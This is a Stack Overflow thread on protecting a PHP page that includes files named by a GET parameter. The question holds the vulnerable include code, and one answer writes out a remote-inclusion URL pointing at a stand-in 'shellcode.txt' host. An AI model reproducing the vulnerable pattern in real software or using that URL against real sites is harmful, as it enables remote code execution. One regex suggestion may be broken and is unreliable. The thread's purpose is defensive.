<p>My website was recently attacked by, what seemed to me as, an innocent code:</p>

<pre><code>&lt;?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?&gt;
</code></pre>

<p>There where no SQL calls, so I wasn't afraid for SQL Injection. But, apparently, SQL isn't the only kind of injection.</p>

<p>This website has an explanation and a few examples of avoiding code injection: <a href="http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html" rel="noreferrer">http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html</a></p>

<p>How would you protect this code from code injection?</p>

[{'answer_id': 38884, 'author': 'Till', 'author_id': 2859, 'author_profile': 'https://Stackoverflow.com/users/2859', 'pm_score': 2, 'selected': False, 'text': '<p>I\'m assuming you deal with files in the same directory:</p>\n\n<pre><code>&lt;?php\nif (isset($_GET[\'page\']) &amp;&amp; !empty($_GET[\'page\'])) {\n  $page = urldecode($_GET[\'page\']);\n  $page = basename($page);\n  $file = dirname(__FILE__) . "/{$page}.php";\n  if (!file_exists($file)) {\n    $file = dirname(__FILE__) . \'/home.php\';\n  }\n} else {\n  $file = dirname(__FILE__) . \'/home.php\';\n}\ninclude $file;\n?&gt;\n</code></pre>\n\n<p>This is not too pretty, but should fix your issue.</p>\n'}, {'answer_id': 38885, 'author': 'Kyle Cronin', 'author_id': 658, 'author_profile': 'https://Stackoverflow.com/users/658', 'pm_score': 3, 'selected': False, 'text': "<p>The #1 rule when accepting user input is always sanitize it. Here, you're not sanitizing your page GET variable before you're passing it into include. You should perform a basic check to see if the file exists on your server before you include it.</p>\n"}, {'answer_id': 38886, 'author': 'Paige Ruten', 'author_id': 813, 'author_profile': 'https://Stackoverflow.com/users/813', 'pm_score': 6, 'selected': True, 'text': "<p>Use a whitelist and make sure the page is in the whitelist:</p>\n\n<pre><code>  $whitelist = array('home', 'page');\n\n  if (in_array($_GET['page'], $whitelist)) {\n        include($_GET['page'].'.php');\n  } else {\n        include('home.php');\n  }\n</code></pre>\n"}, {'answer_id': 39035, 'author': 'BlaM', 'author_id': 999, 'author_profile': 'https://Stackoverflow.com/users/999', 'pm_score': 4, 'selected': False, 'text': '<p>Another way to sanitize the input is to make sure that only allowed characters (no "/", ".", ":", ...) are in it. However don\'t use a blacklist for <em>bad</em> characters, but a whitelist for allowed characters:</p>\n\n<pre><code>$page = preg_replace(\'[^a-zA-Z0-9]\', \'\', $page);\n</code></pre>\n\n<p>... followed by a file_exists.</p>\n\n<p>That way you can make sure that only scripts you want to be executed are executed (for example this would rule out a "blabla.inc.php", because "." is not allowed).</p>\n\n<p>Note: This is kind of a "hack", because then the user could execute "h.o.m.e" and it would give the "home" page, because all it does is removing all prohibited characters. It\'s not intended to stop "smartasses" who want to cute stuff with your page, but it will stop people doing <em>really bad</em> things.</p>\n\n<p>BTW: Another thing you could do in you <strong>.htaccess</strong> file is to prevent obvious attack attempts:</p>\n\n<pre><code>RewriteEngine on\nRewriteCond %{QUERY_STRING} http[:%] [NC]\nRewriteRule .* /–http– [F,NC]\nRewriteRule http: /–http– [F,NC]\n</code></pre>\n\n<p>That way all page accesses with "http:" url (and query string) result in an "Forbidden" error message, not even reaching the php script. That results in less server load. </p>\n\n<p>However keep in mind that no "http" is allowed in the query string. You website might MIGHT require it in some cases (maybe when filling out a form).</p>\n\n<p>BTW: If you can read german: I also have a <a href="http://blogs.interdose.com/dominik/2008/03/20/sicherer-php-code-php-code-injection-verhindern/" rel="noreferrer">blog post</a> on that topic.</p>\n'}, {'answer_id': 39128, 'author': 'Michał Niedźwiedzki', 'author_id': 2169, 'author_profile': 'https://Stackoverflow.com/users/2169', 'pm_score': 2, 'selected': False, 'text': '<p>pek, for a short term fix apply one of the solutions suggested by other users. For a mid to long term plan you <strong>should</strong> consider migrating to one of existing web frameworks. They handle all low-level stuff like routing and files inclusion in reliable, secure way, so you can focus on core functionalities.</p>\n\n<p><strong>Do not reinvent the wheel. Use a framework.</strong> Any of them is better than none. The initial time investment in learning it pays back almost instantly.</p>\n'}, {'answer_id': 39148, 'author': 'Cheekysoft', 'author_id': 1820, 'author_profile': 'https://Stackoverflow.com/users/1820', 'pm_score': 3, 'selected': False, 'text': '<p>Pek, there are many things to worry about an addition to sql injection, or even different types of code injection. Now might be a good time to look a little further into web application security in general.</p>\n<p>From a previous question on <a href="https://stackoverflow.com/questions/22072/from-desktop-to-web-browser-considerations">moving from desktop to web development</a>, I wrote:</p>\n<blockquote>\n<p>The <a href="http://www.owasp.org/index.php/OWASP_Guide_Project" rel="noreferrer">OWASP Guide to Building Secure Web Applications and Web Services</a> should be compulsory reading for any web developer that wishes to take security seriously (which should be <strong>all</strong> web developers). There are many principles to follow that help with the mindset required when thinking about security.</p>\n<p>If reading a big fat document is not for you, then have a look at the video of the seminar Mike Andrews gave at Google a couple years back about <a href="http://video.google.com/videoplay?docid=5159636580663884360" rel="noreferrer">How To Break Web Software</a>.</p>\n</blockquote>\n'}, {'answer_id': 39164, 'author': 'Cheekysoft', 'author_id': 1820, 'author_profile': 'https://Stackoverflow.com/users/1820', 'pm_score': 1, 'selected': False, 'text': '<p>Some good answers so far, also worth pointing out a couple of PHP specifics:</p>\n\n<p>The file open functions use <a href="http://uk.php.net/manual/en/wrappers.php" rel="nofollow noreferrer">wrappers</a> to support different protocols. This includes the ability to open files over a local windows network, HTTP and FTP, amongst others. Thus in a default configuration, the code in the original question can easily be used to open any arbitrary file on the internet and beyond; including, of course, all files on the server\'s local disks (that the webbserver user may read). <code>/etc/passwd</code> is always a fun one.</p>\n\n<p>Safe mode and <a href="http://uk.php.net/manual/en/features.safe-mode.php#ini.open-basedir" rel="nofollow noreferrer"><code>open_basedir</code></a> can be used to restrict files outside of a specific directory from being accessed.</p>\n\n<p>Also useful is the config setting <a href="http://uk.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen" rel="nofollow noreferrer"><code>allow_url_fopen</code></a>, which can disable URL access to files, when using the file open functions. <a href="http://uk.php.net/manual/en/function.ini-set.php" rel="nofollow noreferrer"><code>ini-set</code></a> can be used to set and unset this value at runtime.</p>\n\n<p>These are all nice fall-back safety guards, but please use a whitelist for file inclusion.</p>\n'}, {'answer_id': 40458, 'author': 'ceejayoz', 'author_id': 1902010, 'author_profile': 'https://Stackoverflow.com/users/1902010', 'pm_score': 0, 'selected': False, 'text': "<p>@pek - That won't work, as your array keys are 0 and 1, not 'home' and 'page'.</p>\n\n<p>This code should do the trick, I believe:</p>\n\n<pre><code>&lt;?php\n\n$whitelist = array(\n  'home',\n  'page',\n);\n\nif(in_array($_GET['page'], $whitelist)) {\n  include($_GET['page'] . '.php');\n} else {\n  include('home.php');\n}\n\n?&gt;\n</code></pre>\n\n<p>As you've a whitelist, there shouldn't be a need for <code>file_exists()</code> either.</p>\n"}, {'answer_id': 12815569, 'author': 'Loek Bergman', 'author_id': 1719509, 'author_profile': 'https://Stackoverflow.com/users/1719509', 'pm_score': 1, 'selected': False, 'text': '<p>I know this is a very old post and I expect you don\'t need an answer anymore, but I still miss a very important aspect imho and I like it to share for other people reading this post. In your code to include a file based on the value of a variable, you make a direct link between the value of a field and the requested result (page becomes page.php). I think it is better to avoid that. \nThere is a difference between the request for some page and the delivery of that page. If you make this distinction you can make use of nice urls, which are very user and SEO friendly. Instead of a field value like \'page\' you could make an URL like \'Spinoza-Ethica\'. That is a key in a whitelist or a primary key in a table from a database and will return a hardcoded filename or value. That method has several advantages besides a normal whitelist:</p>\n\n<ol>\n<li><p>the back end response is effectively independent from the front end request. If you want to set up your back end system differently, you do not have to change anything on the front end.</p></li>\n<li><p>Always make sure you end with hardcoded filenames or an equivalent from the database (preferrabley a return value from a stored procedure), because it is asking for trouble when you make use of the information from the request to build the response.</p></li>\n<li><p>Because your URLs are independent of the delivery from the back end you will never have to rewrite your URLs in the htAccess file for this kind of change.</p></li>\n<li><p>The URLs represented to the user are user friendly, informing the user about the content of the document. </p></li>\n<li><p>Nice URLs are very good for SEO, because search engines are in search of relevant content and when your URL is in line with the content will it get a better rate. At least a better rate then when your content is definitely not in line with your content.</p></li>\n<li><p>If you do not link directly to a php file, you can translate the nice URL into any other type of request before processing it. That gives the programmer much more flexibility.</p></li>\n<li><p>You will have to sanitize the request, because you get the information from a standard untrustfull source (the rest of the Web). Using only nice URLs as possible input makes the sanitization process of the URL much simpler, because you can check if the returned URL conforms your own format. Make sure the format of the nice URL does not contain characters that are used extensively in exploits (like \',",&lt;,>,-,&amp;,; etc..).</p></li>\n</ol>\n'}, {'answer_id': 14700586, 'author': 'Jaya Kuma', 'author_id': 2038601, 'author_profile': 'https://Stackoverflow.com/users/2038601', 'pm_score': 0, 'selected': False, 'text': '<p>Think of  the URL is in this format:</p>\n\n<p>www.yourwebsite.com/index.php?page=<a href="http://malicodes.com/shellcode.txt" rel="nofollow">http://malicodes.com/shellcode.txt</a></p>\n\n<p>If the shellcode.txt runs SQL or PHP injection, then your website will be at risk, right? Do think of this, using a whitelist would be of help. </p>\n\n<p>There is a way to filter all variables to avoid the hacking. You can use PHP IDS or OSE Security Suite to help avoid the hacking. After installing the security suite, you need to activate the suite, here is the guide:</p>\n\n<p><a href="http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html" rel="nofollow">http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html</a></p>\n\n<p>I would suggest you turn on layer 2 protection, then all POST and GET variables will be filtered especially the one I mentioned, and if there are attacks found, it will report to you immediately/ </p>\n\n<p>Safety is always the priority</p>\n'}]
['https://Stackoverflow.com/questions/38875', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/2644/']